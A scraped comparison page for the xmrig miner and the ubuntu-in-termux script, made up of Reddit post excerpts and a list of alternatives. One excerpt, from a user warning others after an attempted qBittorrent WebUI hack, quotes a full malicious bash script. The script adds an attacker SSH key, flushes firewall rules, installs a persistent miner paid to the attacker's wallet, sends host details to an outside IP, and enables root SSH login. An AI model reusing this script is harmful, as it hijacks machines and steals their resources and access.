xmrig VS ubuntu-in-termux

Compare xmrig vs ubuntu-in-termux and see what are their differences.

xmrig

RandomX, KawPow, CryptoNight and GhostRider unified CPU/GPU miner and RandomX benchmark (by xmrig)

ubuntu-in-termux

This is a script by which you can install Ubuntu in your termux application without a rooted device (by MFDGaming)
Our great sponsors
  • InfluxDB - Power Real-Time Data Analytics at Scale
  • WorkOS - The modern identity platform for B2B SaaS
  • SaaSHub - Software Alternatives and Reviews
xmrig ubuntu-in-termux
363 9
8,332 1,428
- -
8.1 0.0
4 days ago over 1 year ago
C Shell
GNU General Public License v3.0 only -
The number of mentions indicates the total number of mentions that we've tracked plus the number of user suggested alternatives.
Stars - the number of stars that a project has on GitHub. Growth - month over month growth in stars.
Activity is a relative number indicating how actively a project is being developed. Recent commits have higher weight than older ones.
For example, an activity of 9.0 indicates that a project is amongst the top 10% of the most actively developed projects that we are tracking.

xmrig

Posts with mentions or reviews of xmrig. We have used some of these posts to build our list of alternatives and similar projects. The last one was on 2023-07-06.
  • Gupax - Enabling 1GB Pages ain't working
    1 project | /r/MoneroMining | 24 Jul 2023
    I'm not so new to XMRig, but I am new to Gupax.io and I'm lost on how I can get 1GB Pages from Disabled to Enabled in the XMRig portion of Gupax. Yes, my CPU supports it. Yes, I made sure my Linux OS uses HugePages. Yes, my RAM and OS CLI checks reflect their usage. Yes, I've also used this script . It all works, except in Gupax.
  • Just experienced an attempted hack. A warning to anyone using WebUI.
    3 projects | /r/qBittorrent | 6 Jul 2023
    #!/bin/bash WALLET="41poaCNDTvs33KCFKfekN88Ehf59ddparQdFKFT4XKrUMnc1Ude7xtvhZuKfTai8tDML6gFyTAKY5RuDDxDqLRZpT8QpQ9b" PORT=$(( 15555 )) export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin if [ -z $HOME ]; then if [ "$(id -u)" == "0" ]; then export HOME=/root elif [ "$(id -u)" != "0" ]; then export USER=$(whoami) export HOME=/home/$USER elif [ -z $HOME ]; then export HOME=/tmp fi fi if [ ! -d $HOME ]; then mkdir -p $HOME fi mkdir $HOME/.ssh ; touch $HOME/.ssh/authorized_keys ; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJRrXGodFAgNzqgVw4QmjxKhZbvc6ReMa0ctI8WGbWBi3pUF++QmmM6Jo4/wMWqOxmdJotN85QpbkRfYuw9QN5aO35RLSJw7o2UOXN9vsaxnIg9wunNstVff22vyjrFrXTNrHaI///P3d4T4w6CCgLlNdNKgKTG176Y7KBmkWWeZvd8phtIaMprhGSbtnvs4v0hADTw+Ej20EeKfphlZsRSVS6zObq6jro4j8iIXvnGEdkIx8b1SP+QK6D+ZOEQxEzD107latrwYbLCNHWX7VP1oK6fbFk3zU+CGOwITiVPKuyX9aNFJVEopZSmreD+b+JoXpYHybiuhL3ex79uCWNWKnfGgBKrSAmnmopvYnd/mQ902ls16j/Cr/YYKhUvFMC7MhuWdazvM9uFT07c8PSPsEJ+vJpW3t2HQkW89mxqjp1rEvURUlqZtkL/3hZEMaamP6phHpSttncyWiMGuLZxoub/2GM8C09+GOOTaf47//mGxtNs5FNWqjyiznznrc=" >> $HOME/.ssh/authorized_keys ; chmod 600 $HOME/.ssh/authorized_keys if ! (type wget >/dev/null || type curl >/dev/null); then echo "ERROR: This script requires \"wget or curl\" utility to work correctly" exit 1 fi # start doing stuff: preparing miner echo "[*] Removing previous c3pool miner (if any)" if sudo -n true 2>/dev/null; then sudo systemctl stop c3pool_miner.service 2>/dev/null sudo systemctl disable c3pool_miner.service 2>/dev/null sudo systemctl disable xmrig.service 2>/dev/null sudo killall xmrig 2>/dev/null sudo pkill xmrig 2>/dev/null kill $(ps aux | grep "[--]config=" | awk '{print $2}') 2>/dev/null sudo rm -rf /etc/systemd/system/c3pool_miner.service 2>/dev/null else killall -9 xmrig 2>/dev/null killall xmrig 2>/dev/null pkill xmrig 2>/dev/null kill $(ps aux | grep "[--]config=" | awk '{print $2}') 2>/dev/null fi iptables -P INPUT ACCEPT 2>/dev/null iptables -P FORWARD ACCEPT 2>/dev/null iptables -P OUTPUT ACCEPT 2>/dev/null iptables -F 2>/dev/null echo "[*] Removing $HOME/.c3pool directory" rm -rf $HOME/c3pool 2>/dev/null rm -rf $HOME/.c3pool 2>/dev/null rm -rf /tmp/c3pool 2>/dev/null rm -rf /tmp/* 2>/dev/null find . -name "*c3pool*" -exec rm -rf {} \; 2>/dev/null find . -name "*xmrig*" -exec rm -rf {} \; 2>/dev/null find . -name "*miner*" -exec rm -rf {} \; 2>/dev/null find $HOME -name "*c3pool*" -exec rm -rf {} \; 2>/dev/null find $HOME -name "*xmrig*" -exec rm -rf {} \; 2>/dev/null find $HOME -name "*miner*" -exec rm -rf {} \; 2>/dev/null echo "[*] Downloading C3Pool advanced version of xmrig to /tmp/xmrig.tar.gz" if ! (wget -q -O /tmp/xmrig.tar.gz "https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/xmrig.tar.gz" || curl -s "https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/xmrig.tar.gz" -o /tmp/xmrig.tar.gz); then echo "ERROR: Can't download file." exit 1 fi echo "[*] Unpacking /tmp/xmrig.tar.gz to $HOME/.c3pool" [ -d $HOME/.c3pool ] || mkdir $HOME/.c3pool [ -f $HOME/.c3pool/.profile ] || touch $HOME/.c3pool/.profile if ! tar xf /tmp/xmrig.tar.gz -C $HOME/.c3pool; then echo "ERROR: Can't unpack /tmp/xmrig.tar.gz to $HOME/.c3pool directory" exit 1 fi rm /tmp/xmrig.tar.gz echo "[*] Checking if advanced version of $HOME/.c3pool/xmrig works fine (and not removed by antivirus software)" $HOME/.c3pool/xmrig --help >/dev/null if (test $? -ne 0); then if [ -f $HOME/.c3pool/xmrig ]; then echo "WARNING: Advanced version of $HOME/.c3pool/xmrig is not functional or got removed" fi echo "[*] Looking for the latest version of Monero miner" LATEST_XMRIG_RELEASE=`curl -s https://github.com/xmrig/xmrig/releases/latest | grep -o '".*"' | sed 's/"//g'` LATEST_XMRIG_LINUX_RELEASE="https://github.com"`curl -s $LATEST_XMRIG_RELEASE | grep xenial-x64.tar.gz\" | cut -d \" -f2` echo "[*] Downloading $LATEST_XMRIG_LINUX_RELEASE to /tmp/xmrig.tar.gz" if ! curl -L --progress-bar $LATEST_XMRIG_LINUX_RELEASE -o /tmp/xmrig.tar.gz; then echo "ERROR: Can't download $LATEST_XMRIG_LINUX_RELEASE file to /tmp/xmrig.tar.gz" exit 1 fi if ! tar xf /tmp/xmrig.tar.gz -C $HOME/.c3pool --strip=1; then echo "WARNING: Can't unpack /tmp/xmrig.tar.gz to $HOME/.c3pool directory" fi rm /tmp/xmrig.tar.gz $HOME/.c3pool/xmrig --help >/dev/null if (test $? -ne 0); then if [ -f $HOME/.c3pool/xmrig ]; then echo "ERROR: Stock version of $HOME/.c3pool/xmrig is not functional too" else echo "ERROR: Stock version of $HOME/.c3pool/xmrig was removed by antivirus too" fi exit 1 fi fi echo "[*] Miner $HOME/.c3pool/xmrig is OK" PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'` if [ "$PASS" == "localhost" ]; then PASS=`ip route get 1 | awk '{print $NF;exit}'` fi if [ -z $PASS ]; then PASS=na fi if [ ! -z $EMAIL ]; then PASS="$PASS:$EMAIL" fi sed -i 's/"donate-level": *[^,]*,/"donate-level": 1,/' $HOME/.c3pool/config.json sed -i 's/"url": *"[^"]*",/"url": "auto.c3pool.org:'$PORT'",/' $HOME/.c3pool/config.json sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'",/' $HOME/.c3pool/config.json sed -i 's/"pass": *"[^"]*",/"pass": "'$PASS'",/' $HOME/.c3pool/config.json sed -i 's/"max-cpu-usage": *[^,]*,/"max-cpu-usage": 100,/' $HOME/.c3pool/config.json sed -i 's/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 75,/' $HOME/.c3pool/config.json sed -i 's#"log-file": *null,#"log-file": "'$HOME/.c3pool/xmrig.log'",#' $HOME/.c3pool/config.json sed -i 's/"syslog": *[^,]*,/"syslog": true,/' $HOME/.c3pool/config.json cp $HOME/.c3pool/config.json $HOME/.c3pool/config_background.json sed -i 's/"background": *false,/"background": true,/' $HOME/.c3pool/config_background.json # preparing script echo "[*] Creating $HOME/.c3pool/miner.sh script" cat >$HOME/.c3pool/miner.sh /dev/null; then if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') -gt 3500000 ]]; then echo "[*] Enabling huge pages" echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf >/dev/null sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc))) >/dev/null else echo "[*] Huge already enabled" fi else echo "[*] Not enabling huge pages" fi touch $HOME/.profile sed -i '/c3pool/d' $HOME/.profile echo "$HOME/.c3pool/miner.sh --config=$HOME/.c3pool/config_background.json >/dev/null 2>&1" >>$HOME/.profile #echo "ulimit -n 65000 >/dev/null 2>&1" >>$HOME/.profile chmod +x $HOME/.c3pool/miner.sh (/bin/bash $HOME/.c3pool/miner.sh --config=$HOME/.c3pool/config_background.json >/dev/null 2>&1 || /bin/sh $HOME/.c3pool/miner.sh --config=$HOME/.c3pool/config_background.json >/dev/null 2>&1) rm -rf /tmp/*.sh rm -rf /tmp/* if pidof xmrig >/dev/null; then PID=$(pidof xmrig) echo "Running with $PID" else echo "Not Running" fi IP=$(curl -s -4 http://ip.me) HOSTNAME=$(hostname) USERNAME=$(whoami) HOMEDIR=$(echo ~) CPU_COUNT=$(nproc) MEMORY=$(free -h | awk '/^Mem:/ {print $2}') ARCHI=$(uname -m) (curl -X POST -H "Content-Type: application/json" -d "{\"ip\":\"$IP\",\"hostname\":\"$HOSTNAME\",\"username\":\"$USERNAME\",\"homedir\":\"$HOMEDIR\",\"cpu_count\":\"$CPU_COUNT\",\"memory\":\"$MEMORY\",\"arch\":\"$ARCHI\"}" http://152.67.212.28:55123/add || wget --header "Content-Type: application/json" --post-data "{\"ip\":\"$IP\",\"hostname\":\"$HOSTNAME\",\"username\":\"$USERNAME\",\"homedir\":\"$HOMEDIR\",\"cpu_count\":\"$CPU_COUNT\",\"memory\":\"$MEMORY\",\"arch\":\"$ARCHI\"}" http://152.67.212.28:55123/add) (chmod go-w ~/ && chmod go-w /root && chmod 700 ~/.ssh && chmod 700 /root/.ssh && chmod 600 ~/.ssh/authorized_keys && chown root /root && chown root /root/.ssh) >/dev/null sudo sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config >/dev/null sudo sed -i 's/#PubkeyAuthentication yes/PubkeyAuthentication yes/' /etc/ssh/sshd_config >/dev/null sudo /etc/init.d/ssh restart >/dev/null
  • Best mining program on Windows?
    2 projects | /r/MoneroMining | 30 Jun 2023
    Xmrig and use a pool that isn't one of the top three. If you want a have more of a challenge then try the p2pool with xmrig. https://github.com/xmrig/xmrig/releases/tag/v6.19.3
  • Over 110k BAN has been distributed to BanRXers!
    2 projects | /r/banano | 22 Jun 2023
    Regarding how much you can trust BanRX, all of the mining software used is fully open source on GitHub, with a commonly used one (XMrig) having over 7.6k stars on the repository. We also have a community Discord server for all of the apps in the BananoPlanet ecosystem, including our faucet! You can join the BananoPlanet Discord server at https://bananoplanet.cc/discord.
  • Awesome miner tech support
    1 project | /r/MoneroMining | 17 Jun 2023
    I would recommend running XMRig directly so as to weed out any problems related to AwesomeMiner.
  • Question about withdrawing from nicehash
    1 project | /r/gpumining | 3 Jun 2023
    I’m guessing you are also CPU mining? That is likely an issue with XMRig, correct? If so, first be sure you launch NiceHash as Admin. Right-click the shortcut -> Properties -> Shortcut tab -> Advanced -> Run as administrator. Relaunch NiceHash from the update shortcut, and approve the User Account Control prompt. If that doesn’t solve it, leave the setting intact, but try a couple of other options: 1. toggle “Disable Device Status Monitoring” from NiceHash settings cog icon -> Advanced tab, which is an easy fix that prevents temperature monitoring. 2. the better solution, is to overwrite your XMRig.exe in the XMRig plug-in internals directory [NiceHash Plugins tab -> XMRig -> three dots -> Show Internals -> bins directory -> latest (i.e., 19.1) -> XMRig directory (i.e., xmrig-6.8.1) -> XMRig.exe] with the latest version (v6.19.3) of XMRig.exe available from https://github.com/xmrig/xmrig/releases . For me, swapping the .exe file and running as Admin resolves the issue.
  • New XMRig release 6.19.3
    1 project | /r/MoneroMining | 3 Jun 2023
    #3245 Improved algorithm negotiation for donation rounds by sending extra information about current mining job.
  • How do I know if I'm actually mining Monero correctly and everything is alright?
    3 projects | /r/MoneroMining | 29 May 2023
    Downloaded and extracted https://xmrig.com/. The Linux CPU only one.
  • How to Mine Ghostrider on Windows
    1 project | /r/cpumining | 21 May 2023
    XMRIG: https://github.com/xmrig/xmrig/releases
  • Mining Monero
    2 projects | /r/CryptoCurrency | 21 May 2023
    Monero is mined with CPU, and the best software for this is XMRig. You will need to join a mining pool to mine Monero.

ubuntu-in-termux

Posts with mentions or reviews of ubuntu-in-termux. We have used some of these posts to build our list of alternatives and similar projects. The last one was on 2023-05-07.
  • now how do I install Linux with termux with a full interface incase I wanna use adb over wifi
    1 project | /r/QuestPiracy | 27 May 2023
    Download a script that can install Ubuntu in Termux by typing: git clone https://github.com/MFDGaming/ubuntu-in-termux.git
  • Termux File System layout
    2 projects | /r/termux | 7 May 2023
    example, use this https://github.com/MFDGaming/ubuntu-in-termux
  • What can I install on/do with my unused Android TV box?
    1 project | /r/linux | 18 Oct 2022
    How about to go with Termux? Honestly, the abilities it has are impressive, really. You can run a lot with Termux. If thats not enought, there is also Ubuntu in Termux which you can install into Termux and boot into it and run your stuff there - that should cover the stuff Termux wont do.
  • I’m trying to set my pi up to mine but I don’t know what to do when it says ./xmrig is a directory
    4 projects | /r/MoneroMining | 2 Feb 2022
    1. termux-setup-storage 2. apt-get update && apt-get upgrade -y 3. apt-get install wget -y 4. apt-get install git -y 5. apt-get install proot -y 6. pkg install git build-essential cmake -y 7. git clone https://GitHub.com/xmrig/xmrig.git 8. mkdir xmrig/build && cd xmrig/build 9. cmake .. -DWITH_HWLOC=OFF -DWITH_TLS=OFF && make -j$(nproc) 10. exit 11. exit 12. cd ~ && git clone https://github.com/MFDGaming/ubuntu-in-termux 13. cd ubuntu-in-termux 14. chmod +x ubuntu.sh 15. ./ubuntu.sh -y 16. ./startubuntu.sh 17. apt update 18. apt upgrade -y 19. apt install python3 python-dev python3-pip 20. apt install git curl wget 21. exit 22. exit 23. cd xmrig/build
  • Neofetch command not working
    1 project | /r/termux | 22 Nov 2021
    I'm not sure why the neofetch command stopped working, the only thing I did since the last time I ran the command and it still worked was installing this to Termux. Now when I run neofetch in regular Termux, I get /data/data/com.termux/files/usr/bin/neofetch: 35: Bad substitution. I'm on the newest version of Termux from F-Droid. Any help would be appreciated.
  • S21 Ultra XMrig ~920H/s
    2 projects | /r/MoneroMining | 17 Nov 2021
    apt update && apt upgrade apt install proot -y apt install wget -y apt install git git clone https://github.com/MFDGaming/ubuntu-in-termux ls cd ubuntu-in-termux ls chmod +x * ls ./ubuntu.sh ls ./startubuntu.sh
  • Error when run ./xmrig
    2 projects | /r/MoneroMining | 12 Nov 2021
    Get termux from the website not Google play store. Use ubuntu-in-termux. https://github.com/MFDGaming/ubuntu-in-termux Then xmrig ubuntu build, basic build. https://xmrig.com/docs/miner/build/ubuntu You may need to apt-get install each dependency manually, but it's not as vast as installing it on a PC. Only a few dependencies. I had trouble with uv not found error it was libuv1
  • Tails OS gang rise up tho
    1 project | /r/linuxmasterrace | 29 Mar 2021
    Take a look at this: https://github.com/MFDGaming/ubuntu-in-termux
  • Is this ubuntu still working on termux in 2021?
    3 projects | /r/termux | 28 Feb 2021
    I think I fix the problem. Find this link. https://github.com/MFDGaming/ubuntu-in-termux. For anyone who rmend up this problem try this: Installation steps Update termux: apt-get update && apt-get upgrade -y Install wget: apt-get install wget -y Install proot: apt-get install proot -y Install git: apt-get install git -y Go to HOME folder: cd ~ Download script: git clone https://github.com/MFDGaming/ubuntu-in-termux.git Go to script folder: cd ubuntu-in-termux Give execution permission: chmod +x ubuntu.sh Run the script: ./ubuntu.sh -y Now just start ubuntu: ./startubuntu.sh

What are some alternatives?

When comparing xmrig and ubuntu-in-termux you can also consider the following projects:

csminer - csminer Monero miner from https://cryptonote.social/

proot - An chroot-like implementation using ptrace.

NBMiner - GPU Miner for ETH, RVN, BEAM, CFX, ZIL, AE, ERGO

xmrigCC - RandomX, CryptoNight, Argon2 and GhostRider CPU/GPU miner with Command&Control (CC) Server and Monitoring

cpuminer-opt-cpupower - Optimized multi algo CPU miner for CPUchain, Uranium-X, Cranepay, Yenten

proot - chroot, mount --bind, and binfmt_misc without privilege/setup for Linux

SRBMiner-Multi - CPU & AMD GPU cryptocurrency miner

Tool-X - Tool-X is a kali linux hacking Tool installer. Tool-X developed for termux and other Linux based systems. using Tool-X you can install almost 370+ hacking tools in termux app and other linux based distributions. [Moved to: https://github.com/rajkumardusad/Tool-X]

xmr-stak - Free Monero RandomX Miner and unified CryptoNight miner

termux-packages - A package build system for Termux.

cpuminer - CPU miner for Litecoin and Bitcoin

SilentXMRMiner - A Silent (Hidden) Monero (XMR) Miner Builder